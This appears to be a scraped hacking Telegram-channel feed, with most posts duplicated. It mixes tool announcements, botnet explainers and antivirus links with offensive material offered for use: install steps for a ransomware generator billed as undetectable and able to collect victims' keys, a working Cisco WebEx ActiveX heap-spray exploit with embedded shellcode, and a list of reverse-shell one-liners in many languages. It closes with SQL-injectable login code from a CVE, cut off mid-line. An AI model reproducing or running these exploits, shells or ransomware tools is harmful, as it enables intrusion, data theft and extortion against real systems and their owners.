β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦RANSOMWARES Sources:
Excellent CryptoWall 3.0 Writeup: http://blog.brillantit.com/?p=15
CryptoWall 3.0 Writeup: http://www.sentinelone.com/blog/anatomy-of-cryptowall-3-0-a-look-inside-ransomwares-tactics/
Chimera Ransomware: https://threatpost.com/chimera-ransomware-promises-to-publish-encrypted-data-online/115293/
CryptoWall message text used came from https://www.pcrisk.com/removal-guides/7844-cryptowall-virus
CryptoWall 4.0: http://securityaffairs.co/wordpress/41718/cyber-crime/cryptowall-4-0-released.html
CryptoWall 4.0 DECRYPT.html: http://www.bleepstatic.com/images/news/ransomware/cryptowall/v4/note-part-1.jpg
Talos CryptoWall 4.0 Report: http://blog.talosintel.com/2015/12/cryptowall-4.html
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦RANSOMWARES Sources:
Excellent CryptoWall 3.0 Writeup: http://blog.brillantit.com/?p=15
CryptoWall 3.0 Writeup: http://www.sentinelone.com/blog/anatomy-of-cryptowall-3-0-a-look-inside-ransomwares-tactics/
Chimera Ransomware: https://threatpost.com/chimera-ransomware-promises-to-publish-encrypted-data-online/115293/
CryptoWall message text used came from https://www.pcrisk.com/removal-guides/7844-cryptowall-virus
CryptoWall 4.0: http://securityaffairs.co/wordpress/41718/cyber-crime/cryptowall-4-0-released.html
CryptoWall 4.0 DECRYPT.html: http://www.bleepstatic.com/images/news/ransomware/cryptowall/v4/note-part-1.jpg
Talos CryptoWall 4.0 Report: http://blog.talosintel.com/2015/12/cryptowall-4.html
β β β Uππ»βΊπ«Δπ¬πβ β β β
SentinelOne
Anatomy of CryptoWall 3.0 β a look inside ransomwareβs tactics
CryptoWall is a new and highly destructive variant of ransomware. Ransomware is malicious software (malware) that infects your computer and holds hostage something of value to you in exchange for money.
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Automate your work : Evil operator for evaluating codes, translating text,
taking notes, searching via google, etc.
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) git clone https://github.com/Dewdrops/evil-extra-operator.git
2) cd evil-extra-operator
3) ;; change default key bindings (if you want) HERE
;; (setq evil-extra-operator-eval-key (kbd "ge"))
(require 'evil-extra-operator)
(global-evil-extra-operator-mode 1)
4) The key binding customization must be placed BEFORE (require 'evil-extra-operator).
5) Or you can just choose what commands you need and bind them yourself:
6) (require 'evil-extra-operator)
(define-key evil-motion-state-map "gr" 'evil-operator-eval)
(define-key evil-motion-state-map "g'" 'evil-operator-google-translate)
Commands and default bindings
1) gr (evil-operator-eval)
Operator for evaluating code, i.e., use grip to evaluate current paragraph, grr to evaluate current line, or if you are in visual state, gr to evaluate current active region. You can customize option evil-extra-operator-eval-modes-alist to let evil-operator-eval support more language. Example:
(setq evil-extra-operator-eval-modes-alist
'((ruby-mode ruby-send-region)
(enh-ruby-mode ruby-send-region)))
2) gG (evil-operator-google-search)
Operator to search the web via google.
g. (evil-operator-google-translate)
3) Operator to translate text via google translate. To use this command, you should have google-translate installed.
gh (evil-operator-highlight)
4) Operator to highlight region. To use this command, you should have highlight.el installed. You can use hlt-eraser-mouse or hlt-eraser which are provided by highlight.el to erase highlighted area.
gs (evil-operator-fold)
5) Operator to fold region. To use this command, you should have fold-this.el installed. You can use fold-this-unfold-at-point or fold-this-unfold-all which are provided by fold-this.el for unfolding.
go (evil-operator-org-capture)
6) Operator form of org-capture. So you can use goip to capture current paragraph.
gR (evil-operator-remember)
7) Like evil-operator-org-capture, but use remember-region instead of org-capture.
No default binding (evil-operator-query-replace)
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Automate your work : Evil operator for evaluating codes, translating text,
taking notes, searching via google, etc.
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) git clone https://github.com/Dewdrops/evil-extra-operator.git
2) cd evil-extra-operator
3) ;; change default key bindings (if you want) HERE
;; (setq evil-extra-operator-eval-key (kbd "ge"))
(require 'evil-extra-operator)
(global-evil-extra-operator-mode 1)
4) The key binding customization must be placed BEFORE (require 'evil-extra-operator).
5) Or you can just choose what commands you need and bind them yourself:
6) (require 'evil-extra-operator)
(define-key evil-motion-state-map "gr" 'evil-operator-eval)
(define-key evil-motion-state-map "g'" 'evil-operator-google-translate)
Commands and default bindings
1) gr (evil-operator-eval)
Operator for evaluating code, i.e., use grip to evaluate current paragraph, grr to evaluate current line, or if you are in visual state, gr to evaluate current active region. You can customize option evil-extra-operator-eval-modes-alist to let evil-operator-eval support more language. Example:
(setq evil-extra-operator-eval-modes-alist
'((ruby-mode ruby-send-region)
(enh-ruby-mode ruby-send-region)))
2) gG (evil-operator-google-search)
Operator to search the web via google.
g. (evil-operator-google-translate)
3) Operator to translate text via google translate. To use this command, you should have google-translate installed.
gh (evil-operator-highlight)
4) Operator to highlight region. To use this command, you should have highlight.el installed. You can use hlt-eraser-mouse or hlt-eraser which are provided by highlight.el to erase highlighted area.
gs (evil-operator-fold)
5) Operator to fold region. To use this command, you should have fold-this.el installed. You can use fold-this-unfold-at-point or fold-this-unfold-all which are provided by fold-this.el for unfolding.
go (evil-operator-org-capture)
6) Operator form of org-capture. So you can use goip to capture current paragraph.
gR (evil-operator-remember)
7) Like evil-operator-org-capture, but use remember-region instead of org-capture.
No default binding (evil-operator-query-replace)
β β β Uππ»βΊπ«Δπ¬πβ β β β
GitHub
Dewdrops/evil-extra-operator
Evil operator for evaluating codes, translating text, taking notes, searching via google, etc. - Dewdrops/evil-extra-operator
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦FACEBOOK PENTESTING :
The New version OFFICIAL FBHT V3
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) download or clone
https://github.com/chinoogawa/fbht/archive/V3.0.zip
https://github.com/chinoogawa/fbht/archive/V3.0.tar.gz
2) fbht$:- python setup.py
/usr/lib/python2.7/distutils/dist.py:267
3) usage: setup.py [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]
or: setup.py --help [cmd1 cmd2 ...]
or: setup.py --help-commands
or: setup.py cmd --help
R E Q U I R E M E N T S :
Selenium
Matplotlib-1.2.1
Networkx-1.8.1
Numpy-1.7.1
Pygraphviz-1.1
Simplejson-3.3.0
Mechanize-0.2.5
Other: gephi-0.8.2-beta (Graphs software)
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦FACEBOOK PENTESTING :
The New version OFFICIAL FBHT V3
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) download or clone
https://github.com/chinoogawa/fbht/archive/V3.0.zip
https://github.com/chinoogawa/fbht/archive/V3.0.tar.gz
2) fbht$:- python setup.py
/usr/lib/python2.7/distutils/dist.py:267
3) usage: setup.py [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]
or: setup.py --help [cmd1 cmd2 ...]
or: setup.py --help-commands
or: setup.py cmd --help
R E Q U I R E M E N T S :
Selenium
Matplotlib-1.2.1
Networkx-1.8.1
Numpy-1.7.1
Pygraphviz-1.1
Simplejson-3.3.0
Mechanize-0.2.5
Other: gephi-0.8.2-beta (Graphs software)
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦NUCLEAR RANSOMWARE :)new update/more features
F E A T U R E S :
Generate a ransomware payload
With or without GUI payload
FUD (Fully Undetectable by Anti-Virus)
Works on Windows, MacOS and Linux
Super fast encryption with PyCrypto
Compile to EXE, APP or Unix/Linux executable
Custom icon for your EXE payload
Receive keys of victims
Decrypt files
Demo mode (payload won't encrypt anything)
Fullscreen mode (Warning takes over the screen)
Custom warning message for your victim
Custom image in your payload
Ghost mode (Rename by adding .DEMON extention instead
of encrypting the files)
Multiple encryption methods
Select file extentions to target
Decide if payload should self-destruct (Console mode feature
only)
Decide wich drive to target for encryption (working directory)
Verified server access through port forwarding VPN
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) git clone https://github.com/leonv024/RAASNet.git
2) pip3 install -r requirements.txt
3) python3 RAASNet.py
On Linux, you might need to install these packages:
4) sudo apt install python3-tk python3-pil python3-pil.imagetk
5) Testing connection with remote server:
6) Change the host and port in test_socket.py, default is 127.0.0.1 on port 8989
7) python3 test_socket.py
8)video https://github.com/leonv024/RAASNet/blob/master/demo/PyCrypto-vs-PyAES_demo_10fps.gif
U S E F O R L E A R N
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦NUCLEAR RANSOMWARE :)new update/more features
F E A T U R E S :
Generate a ransomware payload
With or without GUI payload
FUD (Fully Undetectable by Anti-Virus)
Works on Windows, MacOS and Linux
Super fast encryption with PyCrypto
Compile to EXE, APP or Unix/Linux executable
Custom icon for your EXE payload
Receive keys of victims
Decrypt files
Demo mode (payload won't encrypt anything)
Fullscreen mode (Warning takes over the screen)
Custom warning message for your victim
Custom image in your payload
Ghost mode (Rename by adding .DEMON extention instead
of encrypting the files)
Multiple encryption methods
Select file extentions to target
Decide if payload should self-destruct (Console mode feature
only)
Decide wich drive to target for encryption (working directory)
Verified server access through port forwarding VPN
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) git clone https://github.com/leonv024/RAASNet.git
2) pip3 install -r requirements.txt
3) python3 RAASNet.py
On Linux, you might need to install these packages:
4) sudo apt install python3-tk python3-pil python3-pil.imagetk
5) Testing connection with remote server:
6) Change the host and port in test_socket.py, default is 127.0.0.1 on port 8989
7) python3 test_socket.py
8)video https://github.com/leonv024/RAASNet/blob/master/demo/PyCrypto-vs-PyAES_demo_10fps.gif
U S E F O R L E A R N
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Guide on Metasploitable 2.pdf
2.4 MB
Exploiting Port 22 SSH Bruteforce Port 22 SSH (RSA Method)
Exploiting port 23 TELNET (Credential Capture) Exploiting
TELNET (Bruteforce) Port 25 SMTP User Enumeration
Exploiting Port 80 (PHP) Exploiting Port 139 & 445 (Samba)
Exploiting Port 8080 (Java) Exploiting Port 5432 (Postgres)
Exploiting Port 6667 (UnrealIRCD) Exploiting Port 36255
Remote Login Exploitation Remote Shell Exploitation
Exploiting Port 8787 Bindshell Exploiting Port 5900 (VNC)
Access Port 2121 (ProFTPD) Exploiting Port 8180 (Apache
Tomcat) Privilege Escalation via NFS Exploiting Port 3306 (MYSQL)
Network Scan Exploiting Port 21 FTP (Hydra) Exploiting VSFTPD 2.3.4
β β β Uππ»βΊπ«Δπ¬πβ β β β
Exploiting port 23 TELNET (Credential Capture) Exploiting
TELNET (Bruteforce) Port 25 SMTP User Enumeration
Exploiting Port 80 (PHP) Exploiting Port 139 & 445 (Samba)
Exploiting Port 8080 (Java) Exploiting Port 5432 (Postgres)
Exploiting Port 6667 (UnrealIRCD) Exploiting Port 36255
Remote Login Exploitation Remote Shell Exploitation
Exploiting Port 8787 Bindshell Exploiting Port 5900 (VNC)
Access Port 2121 (ProFTPD) Exploiting Port 8180 (Apache
Tomcat) Privilege Escalation via NFS Exploiting Port 3306 (MYSQL)
Network Scan Exploiting Port 21 FTP (Hydra) Exploiting VSFTPD 2.3.4
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Cisco WebEx Meeting Manager (atucfobj.dll) ActiveX Remote BOF Exploit :
<html>
<body> <object classid=clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC id=target />
</object> <script language=javascript> // k`sOSe 08/08/2008
// tested in IE6, XP SP1
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u535c%u5359%u4554%u334d%u5c32%u4143%u434c%u452e%u4558%u4100"); var block = unescape("%u0909%u0909");
while (block.length < 0x25000) block = block; var memory = new Array(); var i=0;
for (;i<1000;i ) memory[i] = block shellcode; memory[i] = shellcode; var buf2;
for (var i=0; i<151; i ) buf2 = "X"; buf2 = unescape(" "); target.NewObject(buf2); </script> </body>
</html>
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Cisco WebEx Meeting Manager (atucfobj.dll) ActiveX Remote BOF Exploit :
<html>
<body> <object classid=clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC id=target />
</object> <script language=javascript> // k`sOSe 08/08/2008
// tested in IE6, XP SP1
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u535c%u5359%u4554%u334d%u5c32%u4143%u434c%u452e%u4558%u4100"); var block = unescape("%u0909%u0909");
while (block.length < 0x25000) block = block; var memory = new Array(); var i=0;
for (;i<1000;i ) memory[i] = block shellcode; memory[i] = shellcode; var buf2;
for (var i=0; i<151; i ) buf2 = "X"; buf2 = unescape(" "); target.NewObject(buf2); </script> </body>
</html>
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦BOTNET FOR BEGINERS :
A) What is a botnet?
A trash can with fill sensors, a video surveillance system with a recording function, a smart TV Box - all these devices connect IoT technologies. All devices are connected to the network, so data transfer is carried out without human intervention.
> A botnet is a chain of many devices connected to the Internet. Thus, hackers infect each device with malware, which allows them to maintain complete control over them.
> Cybercriminals use botnets to target Internet sites. Using a botnet, cybercriminals can steal people's data or gain unauthorized access. The most common use of botnets is through DDoS attacks.
B) Cyber ββattacks: how to launch them via botnets?
The launch scheme is similar to a regular DDoS attack. However, hackers do not infect users' computers, but their IoT devices. Most modern devices have at least some vulnerabilities, for example, when the owners do not change the default password. Cybercriminals simply connect to poorly secured devices and create a botnet. Thus, the owners of botnets have access to several thousand devices simultaneously, which enables them to conduct cyber attacks.
C) The most famous attacks through botnets
Many cyberattacks have made history, and among them there are several interventions through botnets. The first largest botnet was Mirai. Cybersecurity experts discovered it in September 2016. The initial reason for the infection of gadgets was the default passwords set by manufacturers on the devices they produced. Brian Krebs' website was the first victim of the attack. Brian Krebs is a journalist who previously wrote about botnets. Then the cybercriminals chose the DNS operator American Dyn as the next target. The world's largest websites stopped working due to this interference (you can read more about this in this article). Also, using Mirai, hackers attacked the European host OVH. Further device infections are estimated that the original botnet infected nearly half a million IoT devices.
D) Another botnet was Reaper, also known as IoTroop. It was first used for attacks in the fall of 2017. Devices were hacked very quickly, even faster than it was with Mirai. Not only poorly protected devices with default passwords are infected, but also devices from well-known manufacturers (for example, D-Link). Subsequently, the botnet was used by cybercriminals who directed the attack on large European banks.
E) How many devices do you need for a DDoS attack?
For a successful cyber attack, tens of thousands of devices must be connected. The specific number of bots will vary depending on the cybercrime ability to infect unprotected devices.
Akamai gives interesting statistics. So, in 2016, several customers of the company suffered from a cyber attack from 13 thousand devices. It was enough to send almost 270 thousand requests per hour. In a DDoS attack in 2017, hackers attacked one of Akamai's customers via a network of more than 75,000 bots.
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦BOTNET FOR BEGINERS :
A) What is a botnet?
A trash can with fill sensors, a video surveillance system with a recording function, a smart TV Box - all these devices connect IoT technologies. All devices are connected to the network, so data transfer is carried out without human intervention.
> A botnet is a chain of many devices connected to the Internet. Thus, hackers infect each device with malware, which allows them to maintain complete control over them.
> Cybercriminals use botnets to target Internet sites. Using a botnet, cybercriminals can steal people's data or gain unauthorized access. The most common use of botnets is through DDoS attacks.
B) Cyber ββattacks: how to launch them via botnets?
The launch scheme is similar to a regular DDoS attack. However, hackers do not infect users' computers, but their IoT devices. Most modern devices have at least some vulnerabilities, for example, when the owners do not change the default password. Cybercriminals simply connect to poorly secured devices and create a botnet. Thus, the owners of botnets have access to several thousand devices simultaneously, which enables them to conduct cyber attacks.
C) The most famous attacks through botnets
Many cyberattacks have made history, and among them there are several interventions through botnets. The first largest botnet was Mirai. Cybersecurity experts discovered it in September 2016. The initial reason for the infection of gadgets was the default passwords set by manufacturers on the devices they produced. Brian Krebs' website was the first victim of the attack. Brian Krebs is a journalist who previously wrote about botnets. Then the cybercriminals chose the DNS operator American Dyn as the next target. The world's largest websites stopped working due to this interference (you can read more about this in this article). Also, using Mirai, hackers attacked the European host OVH. Further device infections are estimated that the original botnet infected nearly half a million IoT devices.
D) Another botnet was Reaper, also known as IoTroop. It was first used for attacks in the fall of 2017. Devices were hacked very quickly, even faster than it was with Mirai. Not only poorly protected devices with default passwords are infected, but also devices from well-known manufacturers (for example, D-Link). Subsequently, the botnet was used by cybercriminals who directed the attack on large European banks.
E) How many devices do you need for a DDoS attack?
For a successful cyber attack, tens of thousands of devices must be connected. The specific number of bots will vary depending on the cybercrime ability to infect unprotected devices.
Akamai gives interesting statistics. So, in 2016, several customers of the company suffered from a cyber attack from 13 thousand devices. It was enough to send almost 270 thousand requests per hour. In a DDoS attack in 2017, hackers attacked one of Akamai's customers via a network of more than 75,000 bots.
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦A) Why is it difficult to prevent a botnet cyber attack on your own?
Botnet attacks are a hot topic for cybersecurity professionals. They have been actively discussed in recent years as the number of IoT devices is growing exponentially. Since botnets are difficult to fight, preventive measures need to be taken to protect them while manufacturers and authorized companies try to deal with the problem.
B) Selling vulnerable devices
Imagine an ordinary person who wants to buy a smart robot vacuum cleaner that can be turned on while sitting in the office. Security is the last thing that man or woman will care about (he / she may not even ask any security questions or ask one or two). Buyers are interested in the functionality of the gadget, its power, manufacturer status and, of course, price. A person is more likely to choose a cheaper device, ignoring possible vulnerabilities.
C) IoT gadget manufacturers don't always focus on security. Any oversight in the software development process can lead to the creation of botnets and cyber attacks. Such products will always be in demand due to the low price, so it is impossible to get rid of this problem on your own.
D) Tracking traffic is difficult or impossible
If the attack is large (as was the case with the previously described Mirai or Reaper botnets), the flow of requests is easy to spot and block. However, they are often used for smaller crimes like sending spam . In this case, the ISPs simply ignore it. It also comes with the difficulty of tracking traffic.
E) Infected devices are difficult to detect
It is worth noting that some organizations control the vulnerability of gadgets. Companies like CrowdStrike report infected devices to ISPs in different countries. They can contact the owners of the infected devices and report the problem. But, as mentioned earlier, there are billions of IoT devices out there. And millions of them could be on the botnet chain. It is almost impossible to control the spread of infected gadgets.
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦A) Why is it difficult to prevent a botnet cyber attack on your own?
Botnet attacks are a hot topic for cybersecurity professionals. They have been actively discussed in recent years as the number of IoT devices is growing exponentially. Since botnets are difficult to fight, preventive measures need to be taken to protect them while manufacturers and authorized companies try to deal with the problem.
B) Selling vulnerable devices
Imagine an ordinary person who wants to buy a smart robot vacuum cleaner that can be turned on while sitting in the office. Security is the last thing that man or woman will care about (he / she may not even ask any security questions or ask one or two). Buyers are interested in the functionality of the gadget, its power, manufacturer status and, of course, price. A person is more likely to choose a cheaper device, ignoring possible vulnerabilities.
C) IoT gadget manufacturers don't always focus on security. Any oversight in the software development process can lead to the creation of botnets and cyber attacks. Such products will always be in demand due to the low price, so it is impossible to get rid of this problem on your own.
D) Tracking traffic is difficult or impossible
If the attack is large (as was the case with the previously described Mirai or Reaper botnets), the flow of requests is easy to spot and block. However, they are often used for smaller crimes like sending spam . In this case, the ISPs simply ignore it. It also comes with the difficulty of tracking traffic.
E) Infected devices are difficult to detect
It is worth noting that some organizations control the vulnerability of gadgets. Companies like CrowdStrike report infected devices to ISPs in different countries. They can contact the owners of the infected devices and report the problem. But, as mentioned earlier, there are billions of IoT devices out there. And millions of them could be on the botnet chain. It is almost impossible to control the spread of infected gadgets.
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Unquoted Service Path.pdf
1.3 MB
In Windows environments when a service is started the system is attempting to find the location of the executable in order to successfully launch the service. If the executable is enclosed in quote tags ββ then the system will know where to find it. However if the path of where the application binary is located doesnβt contain any quotes then Windows will try to find it and execute it inside every folder of this path until they reach the executable.
This can be abused in order to elevate privileges if the service is running under SYSTEM privileges.
This can be abused in order to elevate privileges if the service is running under SYSTEM privileges.
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦2020 Hacking
simple CLI with the ability to run pure Nmap engine
predefined scans included in the modules
support Nmap Scripting Engine (NSE) with scripts arguments
TOR support (with proxychains)
multiple scans at one time
at this point: 31 modules with 459 scan profiles
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) Clone this repository
git clone --recursive https://github.com/trimstray/sandmap
2) Go into the repository
cd sandmap
3) Install
./setup.sh install
4) Run the app
sandmap
π¦The etc/main.cfg configuration file has the following structure:
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦2020 Hacking
simple CLI with the ability to run pure Nmap engine
predefined scans included in the modules
support Nmap Scripting Engine (NSE) with scripts arguments
TOR support (with proxychains)
multiple scans at one time
at this point: 31 modules with 459 scan profiles
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) Clone this repository
git clone --recursive https://github.com/trimstray/sandmap
2) Go into the repository
cd sandmap
3) Install
./setup.sh install
4) Run the app
sandmap
π¦The etc/main.cfg configuration file has the following structure:
# shellcheck shell=bash
# Specifies the default destination.
# Examples:
# - dest="127.0.0.1,8.8.8.8"
dest="127.0.0.1"
# Specifies the extended Nmap parameters.
# Examples:
# - params="--script ssl-ccs-injection -p 443"
params=""
# Specifies the default output type and path.
# Examples:
# - report="xml"
report=""
# Specifies the TOR connection.
# Examples:
# - tor="true"
tor=""
# Specifies the terminal type.
# Examples:
# - terminal="internal"
terminal="internal"
@undercodeTesting@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
GitHub
GitHub - trimstray/sandmap: Nmap on steroids. Simple CLI with the ability to run pure Nmap engine, 31 modules with 459 scan profiles.
Nmap on steroids. Simple CLI with the ability to run pure Nmap engine, 31 modules with 459 scan profiles. - trimstray/sandmap
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Website Hacking β The Most Common Techniques
SQL Injection attacks. SQL Injection attack is the most
common website hacking technique.
Cross Site Scripting (XSS)
Denial of Service (DoS/DDoS)
Cross-site request forgery (CSRF or XSRF)
DNS Spoofing (DNS cache poisoning)
Social engineering techniques.
Non-targeted website hacking.
#fastTips
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Website Hacking β The Most Common Techniques
SQL Injection attacks. SQL Injection attack is the most
common website hacking technique.
Cross Site Scripting (XSS)
Denial of Service (DoS/DDoS)
Cross-site request forgery (CSRF or XSRF)
DNS Spoofing (DNS cache poisoning)
Social engineering techniques.
Non-targeted website hacking.
#fastTips
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦BEST ANDROID ANTIVIRUS 2020 :
RECOMMENDED
https://play.google.com/store/apps/details?id=com.wsandroid.suite
https://play.google.com/store/apps/details?id=com.sophos.smsec
https://play.google.com/store/apps/details?id=com.ahnlab.v3mobilesecurity.soda&hl=en_GB
https://play.google.com/store/apps/details?id=com.avira.android&hl=en_GB
https://play.google.com/store/apps/details?id=com.bitdefender.antivirus&adobe_mc=MCMID%3D41657809592592441272502762824585041301%7CMCORGID%3D0E920C0F53DA9E9B0A490D45%2540AdobeOrg%7CTS%3D1600420351
https://play.google.com/store/apps/details?id=com.eset.ems2.gp&referrer=utm_source%3Deset.com%26utm_medium%3Dreferral%26utm_campaign%3Dglobal-web-download
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦BEST ANDROID ANTIVIRUS 2020 :
RECOMMENDED
https://play.google.com/store/apps/details?id=com.wsandroid.suite
https://play.google.com/store/apps/details?id=com.sophos.smsec
https://play.google.com/store/apps/details?id=com.ahnlab.v3mobilesecurity.soda&hl=en_GB
https://play.google.com/store/apps/details?id=com.avira.android&hl=en_GB
https://play.google.com/store/apps/details?id=com.bitdefender.antivirus&adobe_mc=MCMID%3D41657809592592441272502762824585041301%7CMCORGID%3D0E920C0F53DA9E9B0A490D45%2540AdobeOrg%7CTS%3D1600420351
https://play.google.com/store/apps/details?id=com.eset.ems2.gp&referrer=utm_source%3Deset.com%26utm_medium%3Dreferral%26utm_campaign%3Dglobal-web-download
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Google Play
McAfee Security: Antivirus VPN - Apps on Google Play
Mobile Security with Scam Protection | Malware & Virus Cleaner | Safe Browser
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Reverse shell method for multiple programming languages ββunder Linux:
Bash command: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Perl version: perl -e'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p ,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i" );};
Python version: python -c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s. fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i "]);'
PHP version: php -r'$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby version: ruby ββ-rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d" ,f,f,f)'
nc version: nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp /f
nc xxxx 8888|/bin/sh|nc xxxx 9999
java version: r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Lua version: lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/ bin/sh -i <&3 >&3 2>&3');"
use for learn
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Reverse shell method for multiple programming languages ββunder Linux:
Bash command: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Perl version: perl -e'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p ,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i" );};
Python version: python -c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s. fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i "]);'
PHP version: php -r'$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby version: ruby ββ-rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d" ,f,f,f)'
nc version: nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp /f
nc xxxx 8888|/bin/sh|nc xxxx 9999
java version: r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Lua version: lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/ bin/sh -i <&3 >&3 2>&3');"
use for learn
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦lastest 2020 Daily Tracker System 1.0 -
Authentication Bypass
#Exploit
CVE ID: CVE-2020-24193
Date: September 2, 2020
# Vulnerable Source Code
if(isset($_POST['login']))
{
$email=$_POST['email'];
$password=md5($_POST['password']);
$query=mysqli_query($con,"select ID from tbluser where Email='$email' && Password='$password ' ");
$ret=mysqli_fetch_array($query);
if($ret>0){
$_SESSION['detsuid']=$ret['ID'];
header('location:dashboard.php');
}
else{
